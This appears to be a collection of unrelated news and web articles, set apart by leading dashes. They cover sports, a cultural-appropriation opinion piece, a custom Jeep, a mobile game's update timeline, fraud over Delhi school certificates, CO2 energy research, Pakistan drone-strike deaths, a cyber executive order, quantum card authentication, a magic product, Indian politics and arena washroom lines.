-New England Patriots wide receiver Julian Edelman has overcome a lot to get to where he is today. Not only was the former Kent State quarterback taken in the seventh-round of the 2009 NFL Draft, but he was immediately converted from QB to receiver by the Patriots.  Edelman spent years fighting for playing time behind bigger name players on the Patriots like Wes Welker, but since Welker’s departure from the Pats in 2013, Edelman has become Tom Brady’s go-to receiver, and new BFF.  With two Super Bowl rings on his resume now, Edelman’s hard work has finally paid off. And, judging by this letter he received from a former teacher, it’s clear that his lofty goals were never derailed by doubters.  Take a look.  set your goals high.  do whatever it takes to achieve them. #motivation pic.twitter.com/1eoaG2yp9w — Julian Edelman (@Edelman11) July 18, 2017  It’s a nice letter and kind gesture from the former teacher, but the lesson to take away from this is that setting high goals doesn’t mean they are unattainable. Edelman has proven that with hard work, perseverance and a little grit, anything is possible.  I can’t help but think, too, that when Edelman read this letter, this went through his mind.  Edelman played a huge part in New England’s 25-point comeback win in Super Bowl LI, coming up with that big catch in the fourth quarter that kept the ball moving for the Patriots. He finished the game with five receptions for 87 yards.
-A video showing a black student accosting a white student over his dreadlocks has racked up more than two million views in two days. Shot at San Francisco University, it shows an unnamed black woman blocking the path of Corey Goldstein, who sports the controversial hairstyle. Referring to his dreads, she claims: “It’s my culture”. In a second video, Goldstein goes on to defend his choice of hairstyle, insisting that dreadlocks are “everywhere… it’s not something that is just part of the coloured community”.  Goldstein is, of course, quite right - dreadlocks are not the sole preserve of black culture. The style has been traced back to Goldstein is, of course, quite right - dreadlocks are not the sole preserve of black culture. The style has been traced back to Ancient India, Egypt and Greece . But the fact that dreads belong to many cultures doesn’t mean that Goldstein is automatically immune to the accusation that now surrounds him: that he is guilty of what is know as “cultural appropriation”. In fact, Goldstein is a shining example of its very definition : “a dominant culture [taking] elements from a culture of people who have been systematically oppressed by that dominant group”.  In his defence, Goldstein stated that dreadlocks are “ingrained in so many cultures other than that. It’s in Egyptian culture; it’s in Viking culture – even in Victorian culture”. Vikings were white, yes, and there are claims that the Scandinavian seafarers rocked dreads too. But Goldstein doesn’t rock his dreads in 11 th Century Scandinavia. He wears them in the US, where dreadlocks are still tangled in the black struggle against white supremacy.  In the 1950s, a time of intense racial segregation and discrimination, African Americans adopted dreadlocks. As fellow black folk, they acknowledged its potential to reject white dominance other political, cultural and economic issues. Jamaican Rastafari’s, meanwhile, wore dreadlocks as a form of cultural resistance. They wanted to provoke society and rebel against an often white dominant culture.  As the black actress As the black actress Amandla Stenberg says, “appropriation occurs when the appropriator is not aware of the deep significance of the culture that they are partaking in”. By wearing dreadlocks without acknowledging their symbolic resistance, Goldstein reduces cultural power to a “cool” trend. As part of the oppressive culture, he emulates minority tradition while bypassing the discriminations that comes with it.  As for “Victorian culture”, I’m at a loss, but regardless of whether Benjamin Disraeli wore the locks or not, Goldstein’s defence preserves the power imbalance between white folk and people of colour.  “My hair, my rules, my body”, Goldstein asserts, displaying a deep sense of entitlement. Sure, it’s only hair, and it is his hair to style. But does he have the right to style it in a way that has a deep cultural meaning to minority cultures? The ability to style your hair for fashion’s sake is a luxury, not a right. If it is offending others, Goldstein should consider giving up that luxury.  Goldstein reveals no political or spiritual reason for wearing dreads, apart from his claim that he “loves and respects [African American] culture”. It is possible, however, to respect culture without taking from it; you can raise awareness of its oppression and educate yourself.  Such education may stop Goldstein from generalising. In his statement, he makes another interesting point. Dreads aren’t “something that all across the board [African Americans] believe in”, Goldstein states, and he’s right. There’s the mum with the weave who nags her son because she thinks his dreadlocks are disgusting. There’s the cornrowed teenager who believes that hair carries no meaning. But to go on to claim that black hair is just “something that they wear on their head” is ignorant in the extreme.  Does Goldstein really believe that no African Americans wear dreadlocks for spiritual or political reasons? None at all? A white man erasing these beliefs and meanings sounds a lot like what Azealia Banks termed “ Does Goldstein really believe that no African Americans wear dreadlocks for spiritual or political reasons? None at all? A white man erasing these beliefs and meanings sounds a lot like what Azealia Banks termed “ cultural smudging ” to me. In an interview with Hot 97, Banks said that ‘cultural smudging’ tells black people “you don’t own shit, you don’t have shit, not even the shit you created for yourself”.  Goldstein’s expression of white entitlement affirms her gloomy message. He’s taken from a minority culture and defends his actions by the same justifications used time and time again. Rather than showing “love and respect” in his way, Goldstein ought to talk to some African Americans about what dreadlocks really mean to them.
-Posted by Mark Williams | October 17, 2012  We recently attended the annual Off Road Expo just outside Los Angeles, and we spotted this unique Jeep sitting outside in the display area. In honor of the upcoming SEMA Show, the yearly festival of all things unique and custom in the automotive aftermarket, we thought we'd pass this one along.  Built by Wild Boar, this custom-converted 6x6 Jeep Wrangler is an all-new creation called the JK6 Wheeler. The vehicle uses a custom-lengthened frame and custom transfer case with output shaft adapters and offers 65 gallons of fuel capacity, giving it about 1,000 miles of tank range.  Although the JK6 uses a stock Pentastar 3.6-liter V-6, it does offer quite a few other custom details, inlcluding a roof-top pop-up tent and a unique covered bed area over the dual rear axles.  Look for more custom trucks like this as we head to Las Vegas to cover the 2012 SEMA Show closer to the end of the month. You can bet we'll have all the inside information from the show about the coolest pickup trucks we can find, as well as the latest and greatest parts and new products for your own rig.
-Six years have passed since the release of the game. Lots of dates, updates, tie-ins, events and offers. Join us right after the jump for the complete list of all major dates and updates in this six years of tapping (individual patches are not included). This post will be updated every new update is released.  2012 16 Feb The game was released in Europe (iOS) 01 Mar The game was released in North America (iOS) 03 Mar The game was removed from the store (iOS) 16 Aug The game was readded in the store (iOS) 21 Sep The first new level : Level 21 28 Sep Episode Tie-in : Season Premiere 2012 Moonshine River 03 Oct Level 22 and Event : Treehouse of Horror XXIII 05 Nov Level 23 08 Nov Event : Thanksgiving 2012 13 Nov Episode Tie-in : Penny-Wiseguys 30 Nov Episode Tie-in : The Day the Earth Stood Cool 05 Dec Level 24 and Event : Christmas 2012 2013 11 Jan Level 25 30 Jan Event : Valentine’s Day 2013 and Level 26 Pre-release 06 Feb The game was released in North America (Android) 12 Feb The game was released in Europe (Android) 14 Feb Level 26 28 Feb Episode Tie-in : Gorgeous Grampa 07 Mar Event : St. Patrick’s Day 2013 14 Mar Episode Tie-in : Dark Knight Court 21 Mar Level 27 08 Apr Episode Tie-in : What Animated Women Want 10 Apr Event : Whacking Day 19 Apr Level 28 02 May Episode Tie-in : Whiskey Business 10 May Level 29 16 May Season 24 Yard Sale 28 May Gil Offer : Day Old Donuts 31 May Level 30 12 Jun Expansion : Squidport 24 Jun The game was released (Kindle and Blackberry) 28 Jun Event : 4th Jul 2013 15 Jul Level 31 25 Jul Level 32 31 Jul Expansion : Krustyland 15 Aug Level 33 29 Aug Level 34 12 Sep Level 35 23 Sep Episode Tie-in : Season Premiere 2013 Homerland 01 Oct Event : Treehouse of Horror XXIV 23 Oct Level 36 07 Nov Level 37 15 Nov Event : Thanksgiving 2013 04 Dec Episode Tie-in : Yellow Subterfuge 10 Dec Event : Christmas 2013 2014 08 Jan Episode Tie-in : Married to the Blob 16 Jan Level 38 29 Jan Event : Super Bowl 05 Feb Event : Valentine’s Day 2014 26 Feb Friend Points 05 Mar Episodes Tie-in : Diggs and The Man Who Grew Too Much 12 Mar Event : St. Patrick’s Day 2014 19 Mar Episode Tie-in : The War of Art 28 Mar Level 39 09 Apr Episode Tie-in : Days of Future Future 15 Apr Event : Easter 2014 30 Apr Level 40 15 May Episode Tie-in : The Yellow Badge of Cowardge 22 May Level 41 03 Jun Event : Stonecutters 18 Jun Level 42 26 Jun Gil Offer : Mansion of Solid Gold 02 Jul Event : Jul 4th 2014 17 Jul Yard Sale 2014 23 Jul Level 43 04 Aug Gil Offer : Summer Donut Sale 13 Aug Gil Offer : Back to School 19 Aug Event : Clash of Clones 05 Sep Level 44 17 Sep Level 45 24 Sep Episode Tie-in : Season Premiere 2014 Clown in the Dumps 02 Oct Gil Offer : Shadow Knight 07 Oct Event : Treehouse of Horror XXV 16 Oct Episode Tie-in : Treehouse of Horror XXV 22 Oct Level 46 29 Oct Gil Offer : Ghost Pirate Airship 05 Nov Episode Tie-in : Matt Groening / Simpsorama 12 Nov Level 47 20 Nov Event : Thanksgiving 2014 and Episode Tie-in : Covercraft 28 Nov Gil Offer : Black Friday 2014 and Truckasaurus 03 Dec Event : Winter 2014 16 Dec Level 48 2015 15 Jan Gil Offer : Queen Helvetica 21 Jan Episode Tie-in : The Musk Who Fell to Earth 28 Jan Level 49 05 Feb Offer : Stonecutters Black Market Sale 12 Feb Event : Valentine’s Day 2015 18 Feb Event : Superheroes 04 Mar Level 50 11 Mar Gil Offer : The Homer 12 Mar Event : St. Patrick’s Day 2015 01 Apr Mystery Box Upgrade and Event : Easter 2015 08 Apr Level 51 14 Apr Event : Terwilligers 22 Apr Episode Tie-in : The Kids Are All Fight 06 May  Level 52 and Money Mountain 13 May Episode Tie-in : Mathlete’s Feat 29 May Level 53 03 Jun Event : Pride Month 2015 12 Jun Gil Offer : End of School Promotion 2015 17 Jun Level 54 23 Jun Event : Tap Ball and Soccer Cup 2015 30 Jun Event : 4th of Jul 2015 15 Jul Level 55 22 Jul Expansion : Springfield Heights 30 Jul Gil Offer : Ice Cream Man Homer 06 Aug Level 56 11 Aug Event : Monorail 26 Aug Gil Offer : Muscular Marge 03 Sep Level 57 17 Sep Level 58 23 Sep Episode Tie-in : Season Premiere 2015 Every Man’s Dream 24 Sep IRS and Job Manager 30 Sep Gil Deal : Oktoberfest 06 Oct Event : Treehouse of Horror 2015 15 Oct Episode Tie-in : Halloween of Horror 21 Oct Episode Tie-in : Treehouse of Horror XXVI 22 Oct New User Power Ups 28 Oct Gil Offer : Halloween Promo 10 Nov Level 59 19 Nov Event : Thanksgiving 2015 26 Nov Gil Offer : Black Friday 2015 02 Dec Expansion : Springfield Heights Chapter 2 08 Dec Event : Winter 2015 2016 13 Jan Episode Tie-in : Much Apu About Something 21 Jan Event : Deep Space Homer 04 Feb Gil Offer : Tailgate and Daily Challenges System 10 Feb Event : Valentine’s Day 2016 17 Feb World’s Largest Redwood 23 Feb Event : Burns’ Casino 09 Mar Episode Tie-in : The Marge-Ian Chronicles 16 Mar Event : St. Patrick’s Day and Easter 2016 31 March Event : Crook and Ladder 13 April Spring Cleaning 19 April Event : Wild West 9 May Whacking Day 2016 18 May Level 60 2 Jun Event : Homer’s Chiliad 14 Jun Event : Superheroes 2 29 Jun Event : 4th of July 2016 26 Jul  Dilapidated Rail Yard 3 Aug  Event : Springfield Games 16 Aug  Event : SciFi 21 Set  Episode Tie-in : Season Premiere 2016 Monty Burns’ Fleeing Circus 4 Oct  Event : Treehouse of Horror XXVII 9 Nov  Episode Tie-in : Havana Wild Weekend 16 Nov  Event : The Most Dangerous Game Dec 6  Event : Winter 2016 Dec 22  First Time Packs 2017 3 Jan  Event : Homer the Heretic 11 Jan  Episode Tie-In : The Great Phatsby Teaser 18 Jan  Episode Tie-In : The Great Phatsby 25 Jan  Lunar New Year 2017 31 Jan  Event : Destination Springfield 2 Feb  Football 2017 8 Feb  Valentine’s 2017 15 Mar  Rommelwood Academy 17 Mar  St. Patrick’s Day 2017 21 Mar  Hellfish Bonanza 28 Mar  Event : Secret Agents 16 Apr  Easter 2017 10 May  Pin Pals 24 May  Forgotten Anniversary 30 May  Event : Time Traveling Toaster 30 May  Donut Day 2017 30 May  Road to Riches 28 Jun  4th of July 2017 5 Jul  Pride 2017 19 Jul  Superheroes Return 26 Jul  Stunt Cannon 1 Aug  Event : Homerpalooza 12 Sep  County Fair 27 Sep  Episode Tie-in : The Serfsons 28 Sep  Classic Mini Events and Monorail Promo 3 Oct  Event : Treehouse of Horror XXVIII 14 Nov  This Thanksgiving’s Gone to the Birds! 29 Nov  A Rigellian Christmas Promo 5 Dic  Event : The Invasion Before Christmas 2018 3 Jan  Event : The Buck Stops Here and Episode Tie-In : “Haw-Haw Land” 17 Jan  Classic Mini Events and Bart Royale Teaser 17 Jan  Event : Bart Royale 17 Jan  Valentine’s Day 2018 17 Jan  Event: Homer vs the 18th Amendment and  Episode Tie-In : “Homer is Where the Art Isn’t”  This is all for now, happy tapping!
-The rich who bought poverty: Wealthy parents and officials face action after Mail Today exposes fake certificates being used for school admissions  Ramesh Kumar (name changed) stays with his family in a plush apartment in upscale Gulmohar Park. He sends his daughter to one of the best schools in the city in his luxury car, but does not spend a penny towards her school fees.  Meet the poor rich beneficiaries of the Economically Weaker Section (EWS) in the National Capital.  They have all the comforts and luxuries in the world besides a government certificate endorsing their 'poor status'.  Touts usually approach prospective clients at shops such as these that provide typed affidavits and help finish legal formalities  An internal probe being carried out by the Delhi government has revealed several 'glaring cases' where persons, not even remotely disadvantaged, have procured the EWS certificates and are using them to avail subsidised education for their children in some of the top public schools in the city.  Two separate Delhi government departments – education and revenue – are now ascertaining the exact number of such students and the veracity of these 'prima facie howlers'.  While it is clear that the government officials who approved the 'undeserving' candidates for EWS certificates will face criminal prosecution, it is also being examined if the parents, who actually procured the document, can be prosecuted.  As for the students admitted to schools on the basis of such false EWS certificates, the most 'prevalent' view among senior government officials is that they should be allowed to continue if their guardians pay the general category fee for the entire duration of their schooling as an EWS student. Most of the false EWS certificates were used by parents to admit their children in the academic session 2011-12 and 2012-13.  The schools which admitted such students, however, will not face any action as they accepted a genuine certificate provided by the state government.  Mail Today managed to access some of the EWS certificates and the attached verification reports that are now being probed.  The EWS or income certificates are meant for families with less than Rs 1 lakh annual earning.  It allows the beneficiaries In Ramesh Kumar's case, the surveyor found him to be staying in Gulmohar Park for over 20 years and recommended rejection of his application.  Despite this, the applicant was issued the certificate by the authorities. In another case, the verification official went to F-block in Lado Sarai, south Delhi, and rejected the case.  He cautioned: 'Applicant has given Lado Sarai address only for admission purpose.' The story is no different in another case in Lajpat Nagar II where the verification official observed that the applicant was staying in an 'upper middleclass locality and the standard of living was good'. He wrote in his report that the applicant pretended to belong to the lower income group, but the ground reality was totally different.  Delhi's divisional commissioner Vijay Dev admitted that such irregularities had come to light and promised prompt and severe action.  'All these glaring cases came to our notice only recently and a probe is on to identify the culprits,' Dev said.  He questioned the logic behind issuing EWS certificates to candidates who 'didn't even get a favourable verification report'.  'In all such cases, prima facie, it seems that action can be taken against the local administrative staff for issuing such certificates. Given the importance of the issue, it was recently raised at a meeting with the education department and we will jointly address it in a few days,' Dev said.  According to sources, the education department too has made a tentative list of students with an 'iffy' EWS background.  'The list was made after schools and others noticed certain EWS candidates coming to school in private cars,' a senior education department official said.  Senior government officials said before any action is taken or announced, the suspects would be given a 'fair hearing and a chance to explain'.  If they fail, they would face action. Delhi chief secretary P.K. Tripathi, too, accepted that it was a serious issue and assured strict action in all such cases that came to the government's notice.  'In future, we can also examine the possibility of making the process of issuing EWS certificates a bit stricter through involvement of gazetted officers to ensure that such government facilities are availed of by the right candidates,' Tripathi said.  Mail Today had recently exposed how the EWS certificates could be bought for just Rs 5,000.  In order to get these certificates, one would have to go through an extensive network of touts that is forever present around the offices of the subdivisional magistrate and district collector in the city. access to several government schemes and benefits.  An underprivileged family can apply for the EWS certificates at the local sub-divisional magistrate's office on a plain paper, accompanied by an affidavit and Delhi residence proof.  Each of these applications is verified by the local office staff who make a visit to the address to ascertain the claim of the applicant.
-In this file photo, piles of coal are shown at a power plant in Thompsons, Texas. The plant, which operates natural gas and coal-fired units, is one of the largest power plants in the United States.  The greenhouse gas carbon dioxide emitted from power plants and other industrial activities around the world is a vast source of untapped energy, according to new research that describes a proof-of-concept technique to harvest it.  Akin to harvesting energy from the wind, this combination of chemistry and mechanics would generate electricity from the carbon dioxide (CO2) already flowing out of plants. While it wouldn't destroy the CO2, it would pull far more energy from existing waste gas. It could arguably even enable plants to resist scaling up and becoming more wasteful, just to keep up with demand.  "The energy is there," Bert Hamelers, a program director at Wetsus, the Center of Excellence for Sustainable Water Technology in the Netherlands, who led the research, told NBC News. "Only you need a turbine to get it."  The system he and colleagues devised to get energy from CO2 involves alternately mixing water or another liquid solution with combustion gas containing a high concentration of CO2 such as that from a power plant and air with a low concentration of the gas.  These liquids are pumped between specialized membranes to produce an electric current. The current comes from the concentration gradient between the combustion gas and air, Hamelers explained. The process is described in detail in the American Chemical Society journal Environmental Science and Technology Letters.  Other teams are working on a similar mixing approach to exploit the chemical differences between seawater and freshwater. But, until now, no one has tried to mix a combustion gas with air, Hamelers noted.  Like wringing energy from the wind, harvesting energy from CO2 does not increase greenhouse gas emissions. "For the same CO2 emissions," he said," you get more energy."  The approach, he emphasized, does not get rid of the CO2. "You use the energy that is now wasted. You bring it in and get the extra energy out, but you cannot sequester it."  The CO2 released from power plants and other activities around the world could produce 1,570 billion kilowatt hours, or the equivalent of about 400 times the annual electrical output of the Hoover Dam on the Colorado River between Nevada and Arizona, Hamelers and colleagues noted in their paper.  For the proof-of-concept, the researchers used a well-known technique to bubble the gas and air through the liquid solution. That process uses more energy than the energy it produces, "but there are alternatives like membrane-based processes that use less energy," Hamelers said.  "The objective for us was to show that, yes, there is this source of energy and, yes, you can harvest it," he added. "Of course you need a lot more technological development before this is a system that can be practiced."  John Roach is a contributing writer for NBC News. To learn more about him, visit his website.
-Friday’s Grand Jirga against drone strikes, at which Tariq was present – Pratap Chatterjee  Two boys aged 12 and 16 years old were reportedly killed in a CIA drone strike in Pakistan on Monday night. One of the boys, Tariq Khan, had attended an anti-drone rally in the Pakistan capital just days beforehand.  It’s profoundly shocking that a teenage boy who had travelled to protest these drones should be killed by them just days later.  Pratap Chatterjee  Monday’s deadly attack struck a vehicle near the town of Mir Ali in Waziristan. Up to four people died, including 16-year old Tariq Khan and his 12-year old cousin Wahid.  It was the second attack in as many days in which civilians have been reported killed. On Sunday four chromite miners are believed to have died as they traveled to work in Waziristan. The US has been insisting that it has killed no civilians since May 2010.  The Bureau’s own data shows that between 111 and 281 civilians have been reported by credible media as being killed in US drone strikes between May 1 2010 and Monday’s attack. Sixteen of those killed were reportedly children, including Tariq and Wahid.  He was one of the potential camera trainees we hoped would film the activity of drones in Waziristan. He was young and very enthusiastic.  Shahzad Akbar, Pakistani lawyer  The death of the two boys on Monday takes to 175 overall the number of children reported killed in US drone strikes since 2004.  For the Bureau’s full data on Pakistan drone strikes click here.  Rally  Days before his death on Monday 16 year old Tariq Khan had traveled to Islamabad to protest against US drone strikes in Pakistan’s tribal areas. He attended a jirga, or tribal meeting, organised to protest the attacks by UK legal charity Reprieve and its Pakistani partners.  The Bureau’s Pratap Chatterjee was at the gathering and photographed the participants: ‘It’s profoundly shocking that a teenage boy who had travelled to protest these drones should be killed by them just days later. Despite the Bureau’s evidence to the contrary, the US continues to deny that it is killing civilians in Pakistan. Whether it will continue to do so remains to be seen. ‘  It was billed as a ‘Waziristan Grand Jirga’ on behalf of drone strike victims in Pakistan – to be held at the Margalla hotel in Islamabad. Some 25 men, young and old, filed into the first floor conference hall shaking hands and kissing cheeks with over a dozen Waziri elders who had convened the high level meeting to discuss ‘how to end the suffering of innocent civilians.’ It was billed as a ‘Waziristan Grand Jirga’ on behalf of drone strike victims in Pakistan – to be held at the Margalla hotel in Islamabad. Some 25 men, young and old, filed into the first floor conference hall shaking hands and kissing cheeks with over a dozen Waziri elders who had convened the high level meeting to discuss ‘how to end the suffering of innocent civilians.’ One of the young men who walked in to the jirga on October 28, 2011, was Tariq Khan, a 16 year old boy. He shook hands with Karim Khan of Mir Ali, the father of a drone strike victim, and then took his place in the audience. The night before, I sat with some of his companions and we ate a traditional Pashtun dinner. The youngest among them stayed silent and reserved as their elders spoke with me on their behalf, as is Pashtun tradition. Rahimullah, another Waziri teenager who ate with me, smiled only when we discussed their local football teams. The next morning I watched and filmed Tariq Khan sitting quietly at the meeting. Like Rahimullah, he said little, and listened respectfully as the elders discussed what to do. For four hours, the Waziris debated the drone war, and then they listened to a resolution condemn the attacks, read out by Mirza Shahzad Akbar, a lawyer from the Foundation for Fundamental Rights. The group voted for this unanimously. After lunch, the group travelled to a rally outside the Pakistani parliament. Imran Khan, a former cricketer, and now the leader of the Tehreek-e-Insaaf political party and Clive Stafford Smith, the founder of Reprieve, a UK legal charity, addressed some 2,000 people gathered. The next day, the Waziris returned to their homes, eight hours drive away. Just over 72 hours later Tariq Khan was dead. He was killed in a drone strike on Monday when he was travelling in a car to Miran Shah, the biggest town in North Waziristan. Wahid, his 12 year old cousin, was also killed together with two other men. The boys were on their way to see a relative, according to Noor Kalam, Tariq’s uncle, who spoke to the BBC by phone. ‘We condemn this very strongly,’ he said. ‘He was just a normal boy who loved football.’ Pratap Chatterjee  Shahzad Akbar is a Pakistani lawyer engaged in a number of lawsuits on behalf of clients injured in CIA drone attacks. Speaking to the Bureau from Islamabad, he recalled meeting Tariq last week: ‘He was one of the potential camera trainees we hoped would film the activity of drones in Waziristan. He was young and very enthusiastic.’  Shahzad described the two most recent drone attacks as ‘completely meaningless.’  Clive Stafford-Smith of Reprieve said of the deaths: ‘Could you ever have clearer proof against the line that the US is not killing ‘non-combatants’, with the death of a 16-year old boy I just met, and his 12-year old cousin?’  When asked whether it still maintained that it has killed no civilians since May 2010, the CIA declined to comment.
-President Obama Threw A Cyberwar.... And No One Showed Up  from the firing-off-a-blank-check-from-the-'Executive-Order'-account dept  Last spring, in the wake of the Sony hack, President Obama threw a cyberwar. And no one showed up.  In April 2015, President Obama issued Executive Order 13694 declaring a national emergency to deal with the threat of hostile cyber activity against the United States. But six months later, the emergency powers that he invoked to punish offenders had still not been used because no qualifying targets were identified, according to a newly released Treasury Department report.  It certainly sounded scary enough. Obama said things about "cyber threats" being a serious threat to national security and the US economy. The state of emergency, according to the President, would create a "targeted tool" for combating our cyber-enemies.  This state of emergency is just one more in a line of uninterrupted states of emergencies dating back to the mid-1970s. A perpetual state of emergency is far more useful to the government than a "targeted tool," so a declaration of (cyber) war against a bunch of noncombatants still served a purpose, if only indirectly.  It started the ball rolling on the CISPA/CISA resurgence, which eventually "passed" after being attached to the coattails of a budget bill with far more momentum and support, as few legislators were willing to stare down the barrel of a government shutdown just to prevent a badly-written cyber-bill from passing.  More importantly, the president's statement and executive order gave the administration permission to do things it doesn't normally get to do.  Under the powers delegated by such statutes, the President may seize property, organize and control the means of production, seize commodities, assign military forces abroad, institute martial law, seize and control all transportation and communication, regulate the operation of private enterprise, restrict travel, and, in a variety of ways, control the lives of United States citizens.  Declaring a state of emergency allows for the potential wreaking of havoc in taxpayers' lives. And even if these powers go unexercised (or anything), it still costs the taxpayers money.  Even though it generated no policy outputs, implementation of the executive order nevertheless incurred costs of “approximately $760,000, most of which represent wage and salary costs for federal personnel,” the Treasury report said.  The expenses of national states of emergency aren't being offset by seized funds or assets related to the targets of the executive order. The Treasury Department's report logically notes that zero targets means zero seizures. According to another report quoted by Steven Aftergood of the Federation of American Scientists, the long-running "state of emergency" prompted by various North Korean actions is resulting in less than ~$60,000 a year -- compared to an operational cost of at least $125,000/month (presumably the North Korean state of emergency is more expensive than the "cyberwar" one). No one really expects a "break even" government, but it's inarguable that targeting known or unknown entities via executive orders really isn't doing much to cripple their operations.  Filed Under: administration, cybersecurity, cyberwar, executive order 13694, president obama, white house
-Credit card fraud and identify theft are serious problems for consumers and industries. Though corporations and individuals work to improve safeguards, it has become increasingly difficult to protect financial data and personal information from criminal activity. Fortunately, new insights into quantum physics may soon offer a solution.  As reported in The Optical Society's (OSA) new high-impact journal Optica, a team of researchers from the Netherlands has harnessed the power of quantum mechanics to create a fraud-proof method for authenticating a physical "key" that is virtually impossible to thwart.  This innovative security measure, known as Quantum-Secure Authentication, can confirm the identity of any person or object, including debit and credit cards, even if essential information (like the complete structure of the card) has been stolen. It uses the unique quantum properties of light to create a secure question-and-answer (Q&A) exchange that cannot be "spoofed" or copied.  The "Question-and-Answer" Security Game  Traditional magnetic-stripe-only cards are relatively simple to use but also simple to copy. Recently, banks have begun issuing so-called "smart cards" that include a microprocessor chip to authenticate, identify and enhance security. But regardless of how complex the code or how many layers of security, the problem remains that an attacker who obtains the information stored inside the card can copy or emulate it.  The new approach outlined in this paper avoids this risk entirely by using the peculiar quantum properties of photons that allow them to be in multiple locations at the same time to convey the authentication questions and answers. Though difficult to reconcile with our everyday experiences, this strange property of light can create a fraud-proof Q&A exchange, like those used to authorize credit card transactions.  "Single photons of light have very special properties that seem to defy normal behavior," said Pepijn Pinkse, a researcher from the University of Twente and lead author on the paper. "When properly harnessed, they can encode information in such a way that prevents attackers from determining what the information is."  The process works by transmitting a small, specific number of photons onto a specially prepared surface on a credit card and then observing the tell-tale pattern they make. Since -- in the quantum world -- a single photon can exist in multiple locations, it becomes possible to create a complex pattern with a few photons, or even just one.  Due to the quantum properties of light, any attempt by a hacker to observe the Q&A exchange would, as physicists say, collapse the quantum nature of the light and destroy the information being transmitted. This makes Quantum-Secure Authentication unbreakable regardless of any future developments in technology.  Making Cards Quantum Secure  To provide security in the real world, a credit card -- for example -- would be equipped with a paper-thin section of white paint containing millions of nanoparticles. Using a laser, individual photons of light are projected into the paint where they bounce around the nanoparticles like metal balls in a pinball machine until they escape back to the surface, creating the pattern used to authenticate the card.  If "normal" light is projected onto the area, an attacker could measure the entering pattern and return the correct response pattern. A bank would therefore not be able to see a difference between the real card and the counterfeit signal projected by the attacker.  However, if a bank sends a pattern of single "quantum" photons into the paint, the reflected pattern would appear to have more information -- or points of light -- than the number of photons projected. An attacker attempting to intercept the "question" would destroy the quantum properties of the light and capture only a fraction of the information needed to authenticate the transaction.  "It would be like dropping 10 bowling balls onto the ground and creating 200 separate impacts," said Pinkse. "It's impossible to know precisely what information was sent (what pattern was created on the floor) just by collecting the 10 bowling balls. If you tried to observe them falling, it would disrupt the entire system."  Quantum, But Not Difficult  According to Pinkse, this unique way of providing security is suitable for protecting government buildings, bank cards, credit cards, identification cards, and even cars. "The best thing about our method is that secrets aren't necessary. So they can't be filched either," he said.  Quantum-Secure Authentication could be employed in numerous situations relatively easily, since it uses simple and cheap technology -- such as lasers and projectors -- that is already available.
-When Vanishing Inc. Magic set out to design its first deck of signature brand playing cards, we had one specific goal in mind: to create the most fashion-forward, subtle, and sophisticated "look" for a deck of cards yet devised. The result is the Dapper Deck Deluxe Package, which is an attractive deck of cards crafted from the finest stock and finish, along with a matching silk tie and a 1000 thread count pocket square. Everything is packaged in a hand-painted wooden lacquer box complete with lock, practice mirror, and Dapper Deck insignia. Each package comes with a numbered, signed certificate by creators Joshua Jay and Andi Gladwin. Strictly limited to 400 units.  We consulted with two fashion industry experts to help us hone a design that would match fine suits that the stylish magicians we create for would wear. The dapper base colors are navy blue or, for more of a punch, Jerry's Nugget Orange. The details are in pastel shades of green, yellow, red, and grey, and each back design is designed to bring out the colors of your wardrobe, and accent the tie or pocket square in your ensemble.  The idea here is not to look over-matched or branded. Instead, our hope is that early in your performance, perhaps as the cards are being shuffled, your most astute spectators will notice that the attractive print on the back of your cards is matched to your pocket square and tie. This is the kind of detail we strive for in the quality of our magic. It should be the detail we strive for in our appearance as well.  The Dapper Deck Deluxe is comprised of a heavy wooden box that previews the Dapper Deck design. Inside you are supplied with a deck of each color--navy and orange--as well as the pocket square (made of the finest quality silk available to us) and a thin, silk tie. A practice mirror is provided on the lid of the box for a quick check to make sure your hands are nimble and your tie is on straight. And an ornamental lock and key are provided to keep unsuspecting eyes away from the secrets of the Dapper Deck.  ADD ONS -  If you would like to pledge for a add on here is how it works.  Here's what you can add on.  Here's how add ons work.
-By IANS  BENGALURU: Congress Vice President Rahul Gandhi on Friday warned the ruling NDA government against distorting the Constitution and implementing the agenda of the RSS.  "The aim of the union government is to distort the Constitution, which was drafted by B.R. Ambedkar, and implement the RSS agenda. We should go by what Ambedkar had exhorted us to do - educate, organise and agitate," he said at an international conference here.  Inaugurating an international conference on "Quest for Equity: Reclaiming Social Justice, Re-visiting Ambedkar", Gandhi said truth and power were not the same.  "Truth and power are not the same thing. Truth is what stands up to power," he told the gathering at the opening ceremony of the three-day conference organised by the state government.  Citing a few influential leaders and change makers the world over, Gandhi said iconic personalities like Mahatma Gandhi, Ambedkar and and American civil rights activist Martin Luther King Jr had the ability and courage to speak the truth of power.  "Though the emperor is naked, none had the courage to point it out due to oppression, weakening of the institutions and subversion of democracy to serve the narrow purpose of a few," he asserted.  Drawing parallels to Adolf Hitler's assertion that reality was best understood when it was suppressed, he said a dangerous and global epidemic was to distort truth.  Gandhi also decried casteism and untouchability that were still prevalant across the country.  Human rights activist Martin Luther King III, son of the legendary American civil rights leader, said that like US President Donald Trump's campaign, the election of Prime Minister Narendra Modi had unleahsed animosity against the minorities.  "Parallels abound between the 'alt-right' in the US and the 'Hindu-extreme right' in India," he said.  Organised by the Karnataka government, the conference will unveil the 'Bengaluru Declaration' outlining specific constitutional, institutional and policy responses to concerns of equity, human rights, freedom and democracy.
-At Sunday’s Edmonton Oilers playoff game at Rogers Place, some female fans were surprised to find women’s bathrooms had been converted to men’s, causing their wait times to increase.  Earlier in the playoffs, male fans had complained about lengthy lines for washrooms during Oilers playoff games.  The Oilers Entertainment group attempted to cut down on the wait times by adding a staff member to the washrooms to help point out empty stalls and putting sticks on the floor to assist fans in knowing where to line up.  READ MORE: Edmonton and Rogers Place making tweaks to adjust to Oilers’ playoff fever  Watch below: In response to fans, Rogers Place has made a few changes to help speed up washroom lineups during hockey games.  But on Sunday night, Rogers Place did something different, flipping women’s bathrooms to men’s in an attempt to reduce wait times for male fans.  “For playoffs, what we’re seeing is we’re getting predominantly men in here – the more exciting the hockey gets, I think the less guys are willing to give up their tickets,” said Susan Darrington, general manager of Rogers Place. “So we’ve adjusted our plans and we flipped a restroom on our main and on our upper concourse to be more available for men.”  On Sunday night, the women’s bathrooms backed up and female fans took to Twitter to voice their concerns.  “We came across an extremely long lineup and found out that was actually the lineup for the women’s washroom. And we had to go, we had to wait,” Jacqueline Comer said.  She estimated she got into a bathroom line on the upper level about two minutes into the intermission and spent about 25 minutes waiting to use the washroom.  “It was ridiculous. Waiting five minutes, 10 minutes – it’s OK. But waiting half an hour? That’s not acceptable,” she said.  Charlene Zacharuk encountered the same issue.  